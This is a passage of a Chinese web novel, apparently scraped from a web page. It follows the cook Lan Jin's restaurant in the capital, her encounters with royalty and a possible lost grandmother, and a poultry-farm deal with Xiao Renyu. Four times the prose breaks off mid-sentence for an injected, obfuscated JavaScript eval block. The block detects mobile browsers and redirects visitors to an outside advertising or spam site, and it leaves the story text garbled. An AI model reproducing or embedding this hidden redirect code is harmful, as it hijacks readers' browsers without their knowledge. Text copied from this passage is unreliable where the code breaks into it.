皮脆肉嫩，还有几片被特意切成方形的鸭皮，色若琉璃，是专门用来蘸白糖吃的。 蓝锦拿起一张薄如蝉翼的荷叶饼，正在给食客做示范。 先夹上两片的鸭肉，一半蘸上一层甜面酱，往饼中心一放。 再夹几根雪白的葱丝，青翠的去皮黄瓜条，封了底口，卷成一个小筒。 一口咬下去，甘甜的油香像溪流一样在唇齿间奔涌，勾人摄魄。甜咸鲜香交织在一起，因着鸭皮的脆，鸭肉的嫩，酱料的甘甜和蔬菜的清爽搭配得宜，香得人忍不住卷了一个又一个。 “哎，真香啊！往常谁吃鸭子啊，又肥又腥的，谁知蓝记品味竟然有这一手。” “掌柜的，你家虽是新酒楼，定能在天都占据一席之地。这荷叶饼卷烤鸭，吃起来咸香甜美，荤而不腻。我往常都不吃鸭子的，在你这破了戒！” “谁叫这鸭子这么漂亮，往外一端，亮闪闪得晃眼。还没等切开，肉香味就直接把我放倒了。” “掌柜你该早来，早点开了这烤鸭店，我还去什么荣宝楼吃残羹冷炙受气啊！” 一位养尊处优的老夫人吃得风卷残云，一会儿功夫手边的荷叶饼蒸笼已经没了一半。原先严肃的面庞已经逐渐柔软起来，鼻尖上冒出了细密的汗珠。 蓝锦瞧着她吃得太急，为她端上了一份酸梅饮子：“这位夫人，慢点吃。小店好吃的东西还有很多，您天天来都能不重样。” 翁若虹银丝髻挽得歪歪斜斜，簪子上还挂着个小巧的玉坠子，随着她的动作晃来晃去。惊觉自己方才吃得快了些，抬头去瞧跟自己搭话的小娘子。 “小娘子，好饭也怕晚，我这把老骨头更得身先士卒，哪能慢了一刻。” 蓝锦被逗得扑哧一笑：“那夫人您多吃，大不了我再送您一些山楂糕消食。” 那老夫人倒是先停下筷子：“你这小娘子饭食做得香，人长得俊俏，说话也好听。那单子上的酱烧肘子，再给我来一份。” “再来个桂花糖藕......对了，再添个松鼠桂鱼！都要小娘子亲做的，可别糊弄我这把老骨头。” 蓝锦乐得看老人家的好胃口，莫名觉得这位老夫人合了自己眼缘。不仅应下帮她亲自做，还像对待云江望她们似的，自作主张地给她加了一份炝炒莲花白。 蓝锦上完菜刚要走，却叫翁若虹拦住了去路：“小娘子别急呀，我一个人哪能吃下这许多。我瞧着现下没那么忙了，不如你陪我这老骨头吃一会？” 看着面前这位夫人的笑纹，蓝锦心里彷佛有一个声音挽着她，鬼使神差地留下了。 翁若虹扯下一块酱肘子，浓油赤酱的肉皮裹着鲜红的瘦肉，说道：“这肉色烹得好，倒有我年轻时常吃的风情了。” 二人从豕肉聊到天都的鱼，又从羊肉聊到出海商队的鲜货，很是投契。 “这桂花糖藕也清甜，嗯......这刀工也好，不知小娘子你是师从何处？” “我......我不过四处胡乱学着，得了机缘看书，加上自己琢磨出来的。没什么正经的师承。”蓝锦还是避免提及原来的日子。 “嗯......小娘子这两年也是靠开酒楼过活？身子可好？可曾生过什么病？”翁若虹语速极快，一个又一个问题地抛出来。 蓝锦有一刹那的迟滞，却又觉得这没什么不可说的，一五一十地笑着和她讲道：“是白手起家，先开了小摊子，索性我手艺好，适应得也好，把酒楼一点点从昭应开来了天都呐！” “夫人您尽管相信我的厨艺，我在昭应城还有一家养牛场嘞。夫人您得空一定要去试试，我敢说，您在别处绝对吃不到比蓝记牛肉火锅还好吃的牛！” “几个月前确实大病过一场，之后也是苦尽甘来了嘛。我现在身子骨康健，做的菜也是顶顶养人的。” 翁若虹嘴角还是笑模样，眼神却透出一股叫人不易察觉的悲戚：“小娘子，我冒昧打听一下，你家里还有什么人吗？” 蓝锦心里有着若有若无的不对，却一时没有反驳。 “小娘子别误会，我不过一个垂垂老矣的孀妇，平日自家住着，孤寂古怪了点。不过觉得小娘子和我实在有缘，故此一问罢了。” 蓝锦为她斟上一杯桂花酿：“夫人尝尝。” 又道：“斯人已逝，夫人节哀为上。” 哪知翁若虹神色自若地一仰脖子，把杯中酒喝了个干净：“噢，那倒不是因为这个。他活的。” 蓝锦：啊？是我文化水平的缘故吗？ 翁若虹接着无所谓地说：“我捏着钱，和离成功，把他赶走了。外人看来叫我孀妇。” 蓝锦肃然起敬：噢噢噢，原来这么事儿啊。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153810|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便也投桃报李地答翁若虹的发问：“我们家是姐妹三个，我最大，还有一只叫酒钱的小狗。” 翁若虹的神情晦暗不明，良久才答道：“我家也是唯有姐妹两个，我大一点，她却撇下我走了。有一个女儿，竟也撒手去了。还有......”抬眼深深看着蓝锦，彷佛把她的样子刻进心里。 “蓝小娘子，我还会光顾你家的。” 翁若虹上了马车，到了无人处，攥紧帕子，心如刀绞。老天没有辜负她，不枉她找了这么多年，终是看到了一丝希望。 眉眼是十足的像，可神态举止全然像是换了一个人，而且，娇娇儿不记得她了...... 她甚至不确定那是不是她的娇娇儿。 徐蓝瑾......她如今连徐字不要就罢了，缘何连翁字都不记得用...... 徐家那里的腌臜货，私底下暗流涌动。是他们翻腾来的人，却又一时没了后续。叫她投鼠忌器，不知道该怎样动作了。 不急，慢慢来，她身子康健，能耗得起...... 蓝记品味快要打烊的时候，来了一顶力图低调、却全然没有掩饰住华贵的软轿。 进来一个艳光四射的女郎，身上是打马球的服样，人却俏皮爽利，上来就自来熟地挽蓝锦的臂膀。 “听闻蓝大掌柜早先替我阿奶酿得了好酒，我二哥夸得赞不绝口呐。缘何当日不干脆来天都开酒肆，却要我好等到现在。” 蓝锦脑袋嗡了一下。她是三公主安华，二皇子一母同胞的双胞胎妹妹。这对兄妹每日除了挑衅大公主长宁的地位，便是流连市肆，叫人敢怒不敢言。 客人不敢与三公主呛声，生怕碍了她的眼，不顾未完的席面，纷纷搁下银钱，争相出了门。 “听闻萧世子最爱吃什么蓝记的酒水和锅子，我在宫里都没试过呢。”安华撅着小嘴，做人畜无害的撒娇状。 谁知道萧世子又是哪一位，蓝锦没心思去在乎这给自己招来大麻烦的探店博主，却笑盈盈地把精装的食单呈上一份： “承蒙贵客看得起小店，若说锅子，我家有牛肉的、涮羊肉的、酸汤的、麻辣的。现在是凛冬时节，客人刚打完马球，发了身汗，吃点热腾腾的涮羊肉最是得宜。” “若说酒水，客人喝萱花酿也可，选桂花酿也相配。” 安华向身边的侍女珍珠一扬下巴：“说是哪一种？” “回公主，是桂花酿。” 安华扭头又换上一副甜甜的笑颜：“就要桂花酿。蓝姐姐，我见你就亲切，叫你姐姐好不好？” 蓝锦没见过这样的招式，心想再跋扈的女娘，也不过是云江望和霍旭云她们那个年纪的小孩子罢了，只微笑离场，一边答道：“不敢僭越，随客人心意。” 主仆二人打量着空荡荡的厢房，珍珠小声地向安华公主说道：“贵妃娘娘万般叮嘱，不让公主与萧世子走得近，况且二皇子殿下也说了蓝记暂时......” “多嘴！” 39. 铜锅涮羊肉 在三公主安华看来，区区市井之中的酒楼，做不出什么珍馐美味。只是听闻萧世子酷爱蓝记的饭食，人消失了好一阵子，回来之后却突然四处散什么蓝记的花糕。 她儿时第一次见这位大哥哥，是在太后寿宴。文质彬彬的世家公子们无一不是夹紧了尾巴，拘谨地顺着她的心意说话，看着就无趣。 只有萧世子不一样，施施然一瞥靶心，一箭命中。遒劲的肌肉线条和冷傲的嘴角，一下就撞进了她的心里。 那样刚韧的人物，哪会爱吃甜食？ 也不知阿娘怎么想的，这么出色的人物，怎么就是不应了她，早早求父皇给她们赐婚。 她才不信萧世子会英年早逝，不过外人不懂乱传的，怎么阿娘也不信她？ 打断安华思绪的，是一股夺人摄魄的浓郁芝麻酱香。 铜锅怪模怪样的，咕噜作响，清澈的汤底翻腾出丝丝热气。 腐乳的咸香与蒜泥的辛辣在空气中交错，还有一股存在感极强的葱花香气，层层叠叠地钻入鼻腔。 安华不认识它们，却情不自禁地被吸引住了，不知不觉瞪大了眼睛。 蓝锦用羊尾油润完锅子，夹起一片羊肉，轻轻往滚汤里一涮。肉片由红转褐，诱人的羊香味因着清汤被激发到最浓，直叫人食指大动，梦绕魂牵。 鲜美的肉卷裹上只香不辣的油辣子，和咸香秘制的麻酱，荤香随着热气扑面而来。 挂着薄薄一层娇艳欲滴的酱，缀着葱花，裹着香油。只要一咬，满口香汁爆开，分辨不清是肉里的汁水，还是蘸料里的香油。 香！太香了！嫩而不烂，汁美味浓，嚼劲和软烂程度无一不是刚刚好，那股子肉香味直冲人天灵盖。 等安华回过神来的时候，面前的一碟羊肉卷，已经下去了小半盘。 她骄矜地清咳两声：“味道倒是尚可。” 蓝锦抿着嘴儿笑：“承蒙贵人赏识。我家还有裹了千层酥的麻酱烧饼，上头满满地撒了芝麻，一口一层咸油酥。又有甜口的驴打滚，外头裹了炒得喷香的黄豆粉，皮子是糯米，一圈圈卷了豆沙，一咬就知甜香弹润。别处吃不到，贵人要不要一道试试？” 安华道：“你们家东西卖得挺杂。” 蓝锦说：“贵人就是见多识广，慧眼如炬！咱们家东西确实多，南甜北咸，百样荟萃，样样都是讲究又地道。像您这样识货的贵客，可不能错过咱家的小点。” “带上些花椒锅巴，咬到嘴里‘嘎巴’一声，那麻香咸辣的，最新鲜刺激。再来点迷你糖葫芦，外头一层亮晶晶、脆脆甜的糖壳子，一串一口的糖橘球、糖山楂。这可都是咱们酒楼的招牌特色，若是尝上一口，保准您以后惦记着呢！” 等安华带着拎了大包小包的侍女珍珠，被人殷切地送上马车的时候，她抚摸着鼓鼓的小肚子，有点恍惚：我今天来干什么的来着？ 因着三公主的造访，这些时日总有客人悄悄地打探：“安华公主上回吃了什么？给我也原样来一份！” “哎，我也是在蓝大掌柜这体验了一回皇家公主的待遇！” “这涮羊肉比烤鸭还好吃！怎么能够的！” “嘿，再给我多加几盘羊百叶！没有了，怎么能没有了啊？那我要羔羊肉片，还有这个鲜切羊腱子也来三份。” “掌柜的，那炉子里烤的也是羊肉？羊肉串，先给我们来上二十串！” “我专来吃你家的辣椒油的。也不知你家用的什么神仙油，等闲辣椒，到你这碗里，就是香上好几番，别的辣椒油我都不爱吃了。” “怎么羊肋排肉都卖没啦！蓝大掌柜你可得多给我留点货。这锅底汤，我要全装上带走。哎，这锅也卖给我吧！” 蓝锦笑吟吟地拦着：“客人，这锅子虽洗得干净，到底叫人用了好多次了。您在我家吃过这么多回了，放心，我给您单独装一锅高汤，去库里拿个没用过的锅子，直接送到您府上去。” “哎~要么说蓝大掌柜会做生意呐！” 宾主尽欢的时候，二皇子摇摇晃晃地进来了。蓝锦心下叹气，哎，早知今日，当初提前进修一下儿童心理学多好呀。 人却笑容满面地迎上去：“二殿下，贵足踏贱地，什么风把您给吹来了？” “我可不像安华那孩子一样好糊弄！我可不吃你家的饭！” 蓝锦仍挂着笑：“二殿下，我这是酒楼。您若想闲逛，街上治安好，有秩序，又繁华，您何不去领略领略天子治下盛世？” “少给我弯弯绕。我问你，你家墙外那‘光荣榜’是怎么回事？” 蓝锦把头往外一探，啊，她倒是给忘了个干净。蓝锦翻新酒楼的时候手头吃紧，她还存着怨气，干脆叫人把少自己钱的欠款人，都写在了一面光荣榜上。 现下那光荣榜上只有一个明晃晃的名字：荣宝楼周家。 二皇子喝得酒气熏熏：“你揭荣宝楼的短，就是打我的脸！” 蓝锦慢悠悠道：“二殿下同荣宝楼有什么干系，我怎么敢往您的脸上招呼呢？” “笃笃笃”，二皇子一拍桌子：“谁人不知，这荣宝楼是我罩着的，安华也是我罩着的。打狗还得看主人！我警告你，别太过分。” 蓝锦已经有点不耐烦了，压着性子应付：“殿下说什么就是什么吧。” “还有，别妄想攀高枝，你跟萧家的婚成不了，那是我妹妹的，你就死了这条心吧！” 蓝锦已读乱回：“嗯嗯，你要这样想，我也没办法。” 二皇子暴跳如雷，路过的狗都要踹上一脚。此时正晃到一张四方楠木桌旁边，一脚把楠木凳踹飞，“哎哟”一声，蜷着脚跳来跳去。 一旁的小太监俱俯首帖耳，大气也不敢出。二皇子手一指：“看见了吗，只有我想踹什么就踹什么。你，过来！” 一个太监熟练地近前，背对着二皇子弯下腰，叫他一脚踹出老远。 蓝锦身子贴在柜台上，人看似还在呢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158414|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际已经走了有一会了。楼里的伙计也是默契地在各处装鹌鹑。 “看见没有！只有我能踹。你踹了荣宝楼的屁股，那就是打我的脸！知道吗你！”说罢，又心满意足、醉醺醺地晃出门了。两队小太监也鱼贯而出，生怕再多待一秒钟。 伙计们也是风中凌乱，等这尊大佛彻底没了踪影，悟雅才上前问道： “蓝姐姐，我正想跟你说这事。你不是说，翁十娘已经将订亲的消息传给那人了吗？怎么没个动静，就连徐家也没人上门了？” 蓝锦百无聊赖地翻着今日的账册：“今天这不是有动静了吗？订不订亲的不重要，认不认亲的也不重要。重要的是这位大佛，想等着怎么被我打脸。” 翁十娘的日子却很有动静，全无半刻消停。怎么就这么巧，出去了这两趟，公账上的运转一下叫丈夫察觉出来。现下禁了她的足，吵着嚷着叫她把钱吐出来。 “你看你能干什么事？刨徐家的墙角，填你翁家的坑，你怕不是失心疯了！你有哪一点比得上你姐姐一毫一厘？” “哎，不该听信翁老头的谗言，我这辈子，都叫你们翁家给装进套子里去了！” 翁十娘哭得钗环尽散，娇艳的面庞已花了妆，人倒伏在床帘后头：“我有什么错？是我娘叫我挪的账，是我爹叫我做的填房。” “我若不依，要把我送到庐州乡下嫁老鳏夫。现在想想，你比老鳏夫又好到哪去？山高水远的，我倒落个干净！” “你！我...你这个！” “你什么，你连个孩子都不能给我！当时说得百般好，徐翁两家姻亲不变，我做千尊百贵的徐家大夫人，就跟姐姐一样。现在呢？略有点脸面的，她们都笑话我！你们徐家，不过空架子，连我一碗消暑汤都供不起！” “哐啷”，又是瓷器碎裂的声音，呜呜咽的哭声起伏。 这些吵嚷被深深宅院锁着，传不出去一丝一毫。 灯影明灭的小院里，蓝锦和悟雅头靠着头，絮絮地说着睡前小话： “白鹿书院的夫子说小秋的手稿悟性不错，只是这边没有明夫人这样的老师了，我倒是不知道该不该......” “哪能样样一致呐，蓝姐姐，说不准新地方有新的好。你操心得也够多了，还是得多想想你自家。浔阳侯徐家老爷，你真对他一点印象都没有了吗？我才知道，他是二婚的......” 蓝锦摇摇头：“没有了，我只记得跟小秋在一起的日子。” “那徐老爷不能是记恨你吧？蓝姐姐，就是那种，不能见亡妻相关的人事，见了就要发疯的。要不怎么翻腾了认亲这事，现在又不冷不热地放下了。” 蓝锦冷笑一声：“怕不是碍着他的深情模样了吧？你想啊，死了的妻女，那自然比活着的好拿捏。要么，还是因为，是二皇子想叫我认这个亲，徐家自己还不知道吧？” “不说了，不过是个往前迈步的引子。我们酒楼开得好，比什么都强。” 40. 馋哭小孩肠 萧仁禹从祖母的房间退出来，看着地上稀薄的月色。 祖母的病，也病得太久了......久得像是一种无声的宣战，掺杂着一种想低头又放不下架子的别扭。 自己被人追杀的这段时间，她从佛堂中走出来，强撑着病体料理府中事宜，确实辛苦。 失而复得，他原想着祖母已将心结放下，却不知她这样执拗。 一定要他尚了三公主，攀扯上林贵妃的裙角，生下有皇家血脉的子息，她才能咽得下这口气吗？ 一个黑影翻墙而下：“主人，徐家大夫人还在禁足。三公主和二皇子去闹过蓝记品味，生意没受影响。” 萧仁禹颔首：“继续盯着。” 他掏出一块足金镂花的长命锁，这是母亲蒋长昭留下的。 她与自己的手帕交翁惠懿在同一年出嫁，一个做了萧国公府的大夫人，一个做了浔阳侯徐家的大夫人。 两人婚后仍是不改情谊，交往甚密。互相为对方的孩儿打了长命锁，相约到了年纪便做亲家。 可是后来...... 盛夏的蝉鸣声，全然吵不过吹吹打打的迎亲队伍。 萧仁禹刚刚过了十五岁生辰，他仍是“病着”。自他被远在边关的父母送回天都，就一直被要求以此面目示人。 等到父母双双陨落在塞外，他这“病”，只得越发严重了。 震天的锣鼓声破开四方天井，也冲到他耳边。这样喜庆的氛围，自是和他无关。 不过，下人议论的声音太多，零星的“浔阳”、“徐”字传到了他的耳畔。 是徐家啊...... 他想起那个尚未谋面，却一直承托了自家母亲满腔柔情的小女孩徐蓝瑾。 他甚至怀疑，母亲只有在谈及她的时候，才流露一二分做母亲的温柔。 “仁禹，你要记得，等你长大，照顾蓝儿就是你的责任了。须知女孩子在这世上总比男孩难上千万分，不管什么时候，你要待她好。” 其他时候，她眼中只有长矛金戈，吞没粮草的贪官污吏，搅弄唇舌的殿上文官。 最后，她终也是陨落在了她最熟悉的刀光剑影里...... 母亲，你知道吗，你心心念念的闺阁交，她也追随你而去了。 甫一过身，翁家就把她同父异母的妹妹嫁到徐家做填房，还说是翁姨母的遗愿，是去照顾蓝妹妹的。 可是，连大婚的帐子还未撤下，徐家就把蓝妹妹弄丢了。 万幸，上天让他把蓝妹妹找回来了。若不是她，他差一点也要离开这个世界了。 昭应的那段时日，他是站在阳光下的食客，她是明媚如春水的掌柜，不也是很好吗？ 他这一生能抓在手里的东西不多，仅有的也渐渐消散了。 萧仁禹拿出书房里妥帖收着的玉佩，不断摩挲。她和自己想象中的不一样，看起来，倒不需要他去照顾。 他早已习惯收起羽翼，隐忍不发，不争不抢。可是，最后换来了什么？ 这次，他不想再做后退放手的那一方了。 更何况，婚约，不是一早就定给他的吗？ 翁十娘做事，还是太慢了些。 茶酒肆的二层雅间里，浔阳侯徐仲辞和他的酒肉朋友谈性正酣。 隔间里的同样是一帮推杯换盏的子弟：“诶，听说了吗？那浔阳侯家走失的女儿找着了。那人也是奇葩，夫人刚死，巴巴地娶小姨子来照顾闺女。嘿，撤了灵堂迎花轿，婚宴没办完，竟把孩子丢了。” “色字头上一把刀啊，狠还是那位狠！这新夫人，不得嫩得跟个花骨朵似的？要不，怎么能发妻骨肉都舍了不要，就为了跟人家缠绵呐。” “不好说，说不准，嘿嘿，早就搞到一起去啦......” “听说啊，整日价把新妇藏家里，不许她迈出门半步呐。这，还能让前一位的骨血进门吗？多耽误事儿啊。” “话不能这么说。人家还是进了宫的，有靠山，还回这个家，腌臜死啦。” 徐仲辞一开始还恍恍惚惚，越听越不是那味，猛地一下，酒全醒了。 恼羞成怒地冲到隔壁厢房，脚步拖沓，把桌上的碗盘残渣都推到在地。 厢房里的人一下子见了刚刚议论的人，面上也是尴尬。两个从头至尾都清醒着的人，哼哼哈哈地把浔阳侯架进了他家轿子。 徐仲辞面色憋得好像猪肝，他不是不知道翁十娘的小动作。 若去认亲，徐蓝瑾的存在，无时无刻不在提醒自己昏了头、丧妻立即续娶的耻辱。 若不认亲，丈母梁若虹的狠戾还历历在目。即使她已为了那母女俩的事和离独居，可是会咬人的狗不叫，她的存在总叫徐仲辞忌惮几分。 所以他一直装鹌鹑，睁一只眼闭一只眼，当作不知道这件事。 说起来，这都怪翁十娘不好，做什么突然翻腾出来一个亡妻的女儿？她是想孩子想疯了吗！还嫌这个家不够乱。 蓝记品味这里却是一片祥和，伙计们团团围住了蓝锦，个个眼睛睁得溜圆。 “掌柜的，这就是肥皂啊。” “香的！里头还有花瓣咧。” “猪胰子那么腥臭，谁想到做成这个小块块，这么高雅，一看就很贵！小娘子可真能干。” 蓝锦笑盈盈地拿出几块叫他们试用：“还得多谢丁四新找到了大量供货的牧场，这猪胰子还不收什么钱，我才舍得这么拿出来试。” 伙计们依言把手伸进温水里，一搓洗，一股子梅香蔓延开来。手里全是洁白的小泡泡，在日光的折射下闪烁着彩虹的光芒。 “掌柜的，这洗得可太干净了”，有人惊喜地反复摸着自己的手，“若是收拾完肉蔬，使这个净手，再也不担心串味了。” “要是客人来了，试过我们家的香味肥皂，保准让他们来了还想来。实在我们家饭菜又香，还有新鲜玩意。” “我看这个，就连玉皇大帝的仙宫里都不见得有。在我们蓝记，什么都能见识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162858|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到。” 蓝锦兴致勃勃地带着伙计们一起，给香皂装盒打包。一小部分用作酒楼接待，一部分作为给贵客的回馈礼，还有些摆到大厅中间的多宝阁上。 她想建一个面向都城贵夫人的美食阁，这些香皂就标价一两银子一块，给日后引流。 目前酒楼一日的流水，至少能有百两。等到现金流上去了，收回成本，她便买地买房，非要把经营给扩大了。 今日是牧场送货的日子，它原是地处远郊，来往一趟需要折腾。但蓝锦要货量大，品种也多，与他们约定，每隔三日上门一回。 蓝锦点着货，大扇猪肋骨，唔这个腌上做排骨腊肠。猪蹄子也不少，正巧主推一下蓝记发财手，往来商队最喜欢点这道菜。 猪肝仍是做热炒，滑嫩喷香。猪肚配上新鲜宰杀的活鸡，来一个胡椒猪肚鸡汤，热热辣辣的，冬日喝着正好。 蓝锦订货不挑什么部位，因为无论什么食材她都有办法侍弄。猪皮也是不能浪费的，不管是做晶莹剔透的猪皮冻蘸着香醋当冷碟，还是做一口一个、鲜嫩爆汁的小笼汤包，都能用得上。 猪骨的成色也新鲜。如今酒楼里从早到晚不间断地熬煮着高汤，里头放了猪骨、羊骨和鸡骨，这才吊得出别家都仿不来的汤底。 还有咸香油润的腊肉，冬日正是吃它的好时机。切得薄薄的，不管拿什么叶菜一炒，荤的素的都裹上一层凉汪汪的油，能卖个不下百文的好价，比得上寻常菜馆一道扎实肉菜的价码。 这些都是常规货物，唯一叫蓝锦惊喜的，是那一串一串的香肠。 她早已同牧场老板讲过，自己要这种圆圆胖胖的猪肉肠。写了配料做法，就是后世街边最常见的那种台式烤香肠。 在机器上一排排转着，个个挤挨挨地站好。只等到火候一声令下，“噗”地一声，香气和汁水爆出老远。 那爆开的裂缝越烤越焦干，咬到嘴里的时候，微焦感颇为柔软的肠身增色。 蓝锦的舍友就爱吃不爆开的。那肠衣表面鼓起泡来，焦糖色积到一处，小油光折射着暖黄的炉光，瞬间勾起了食欲。 她们为此还买了一架烤肠机，真是留恋那种无忧无虑的小快乐啊。 如今却也不错，蓝锦把这古代版纯猪肉肠从火炉上取下，浓烈的荤香便扑鼻而来。炭火烤制带来了别样的烟熏风味，使得烤肠的甜香更有层次。 一口咬下去，外皮脆香，内里却是软嫩多汁，在嘴里瞬间爆出。 为着吸引孩童，烤肠里添了糖，又配了盐。嚼起来甜咸得宜，叫人忍不住去吮吸肠上的肉汁子。 外皮是洗干净的猪肠做的，吃起来别有一种脆韧趣味。为了“毕剥”一声咬断烤肠的感觉，吃客也忍不住多来两根。 只要不顾烫口，大可以塞了满嘴都是，全身心去体会香喷喷、弹嫩嫩的肉肠带来的满足。 萧仁禹走进蓝记品味的时候，看见的正是这样满唇油光，喜笑颜开，因为吃到喜欢的美食而摇头晃脑的蓝小娘子。 41. 香酥叫花鸡 “哎，你来啦。” 蓝锦熟门熟路地给萧仁禹递上一根烤肠：“尝尝这个，我刚烤出来的。” 萧仁禹不声不响地接过，放进嘴里，“啵”的一声，肉汁溅到了眉毛上。 蓝锦笑弯了腰，递给他手帕。萧仁禹默默按住伸进袖口拿帕子的手，接过了蓝小娘子的丝帕。 “这个吃起来就是要小心的。你何时听说了我来天都开店了？好些日子不见你，以为你又去游历塞外了。” 萧仁禹面上有几分踌躇：“我有些话想同小娘子讲，想了好些天......” “正巧我要出门，有家养鸡场的老板约我去上门察探。你若有空，不如和我一起去？听说单子签得大，老板现给你烤叫花鸡吃。” 蓝锦兴冲冲地收拾着出门的行头，吩咐账房准备好酒楼的账册，和一早整理好的禽肉消耗量记录。 其实还该带上个熟悉菜肴的厨子，但这不是巧了嘛！她自己就是。 蓝锦风风火火的，转眼间已快走到了门口，回头用一双水灵的杏眼望着萧仁禹。 见她这样雀跃有兴致，萧仁禹叹了一口气，终究跟了上来。 “咯咯哒”，“咕咕”，穿过一道木栅栏，映入眼帘的是一片野生草场。这家养鸡场果然大，还有鸭！还有鹅！散布于半山坡和溪流旁，颇为热闹。 原先蓝锦主要靠着散客农户进禽类的货，价格不好谈不说，货源也不甚稳定。 若是能把这单谈下来，酒楼的成本价至少能省三成。 唐老板头发斑白，精神头却好，笑着迎上来：“蓝掌柜大驾光临，叫我这里蓬荜生辉啊。” 蓝锦却不与他多寒暄，带着一只跟屁虫四处转悠：“老板，我看看这只。” 唐老板马上殷勤地上前，替她抓起一只竹丝乌骨鸡来：“我家这竹丝鸡是正经货，全身乌羽，皮骨皆黑，不是染色，最适合炖补汤做药膳啦！” 蓝锦一大半的目的是为贵妇美食阁相看食材菜色，闻言追问道：“你家这鸡平日喂些什么？” “寻常的是靠五谷杂粮、青草虫蚁。您若是有需要啊，我这还能添上枸杞、红枣喂养，出来的鸡肉啊，不腥不腻，别有一股鲜甜！” 蓝锦扯了一下尾羽，只觉壮实紧致。拿给萧仁禹看，小声道：“是健壮好鸡，炖汤定是鲜美的。” 又被“嘎嘎”叫的鸭子吸引了注意，慢慢向河边踱去。麻鸭肥美，番鸭壮实，甚至还有野鸭子，个个膘肥体壮。 这麻鸭适合做盐水鸭，烤鸭也可。番鸭肉厚，待她酿出小麦胚芽酒，便复刻香喷喷的啤酒鸭。 蓝锦心里满意，但刻意板着脸，不叫老板看出来。 等把鹅也一一看过，蓝锦坐在长凳上，翘起一条腿，端起大酒楼掌柜的架势，开始谈价了。 “老板，你家养的这鸡，喂的不行。皮肉也太松散了，容易煮烂。”蓝锦使了个眼色，率先开了腔。 “哎哟，怎么会！” “我们酒楼客人眼光高，若是鸡肉一煮就化，品相差了，就卖不上价了。”萧仁禹领会了眼色的意思，朗声道。 “鸡肉软烂还不好啊？大酒楼不是最爱吊汤吗？” “我们家招牌菜是白切鸡，没汤，吃肉的。”萧仁禹寸步不让。 唐老板：“......” 蓝锦又道：“还有你家这鸭子，看着壮实，那几只怎么头都耷拉着？不能是有鸭瘟吧。” 唐老板慌张道：“可不敢乱说。这几只分明是刚长大的，没出栏，兴许是......蓝掌柜看那边的，个个肥膘。” “我们家客人爱吃瘦肉，嫌肥膘太油腻，腥味一沾衣裳就下不去。待人接物的，恐怕不体面。”萧仁禹淡定道。 “哎哟，祖宗，我可怕了你们了。您看这鹅，翅膀扑闪的，这总没问题了吧？” 还没等蓝锦开口，萧仁禹就道：“我们家掌柜的从小被鹅扭了腿，看见凶煞的大鹅就恨得慌。” 叫蓝锦白了一眼，他又清咳两声：“是我......是我被鹅追着咬过腿。不过你家鹅若是太凶，运输路上若是斗殴，咬死鸡鸭什么的，得不偿失。” “这样，我给您宰杀洗净送过去，你们看这成不成？”唐老板一张苦瓜脸。 “免费，要免费宰杀。”蓝锦顽强地补充道。 萧仁禹也附和：“不是我们多事，你家离我们家太远了，这个杀完之后的新鲜度嘛......” 唐老板无语望天：“掌柜的，你们到底想要什么样的？伸头一刀，缩头也是一刀，给个痛快话。” 蓝锦笑眯眯地安抚道：“老板别急嘛，嫌货才是买货人不是？按我说，鸡鸭鹅一口价，十八文一斤，你依不依！” 这场争锋，以志得意满的蓝大掌柜，手执契子，傲视欲哭无泪的唐老板为终章，落下帷幕。 唐老板不甘心：“蓝大掌柜，您家这小厮哪里聘来的？哎，我若是也能请上这么一位，还用愁赚银子的事嘛！” 蓝锦笑得上气不接下气，伸出一根指头摆了摆：“哈......这小厮......给我三千两银子也不换。” 萧仁禹笑着看她的笑模样。 二人终究没有刻薄到底，烤好的叫花鸡只捞起了一个，肩并肩地上了马车。 蓝锦还在乐呵呵地模仿老板的窘相：“哈，‘您家这小厮，哪里聘来的？’哈哈哈，他肯定不知道，上哪里也找不来，这样行家中的行家做小厮。” 萧仁禹还在踟蹰怎么把话说出口，与蓝锦独处一个狭小空间，两只手显得很忙，又不知道在忙什么。 迷乱一阵子以后，决定动手把包在黄泥荷叶里的叫花鸡拆出来，不叫蓝锦脏了手。 当他掀开最后一层荷叶，热气裹着鸡肉香味奔涌而出，直冲人鼻端。 鸡皮黄中带焦，牢牢锁住其下的肉汁。 “这味不错啊”，蓝锦深吸一口气，一双杏眼紧紧锁住桌上的叫花鸡。 她也不含糊，立即伸手一扯。脆薄的鸡皮稍一用力便破开，白花花嫩生生的鸡肉露了出来。 蓝锦只觉不能再多用一分力，因这鸡骨头都要自家滑出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 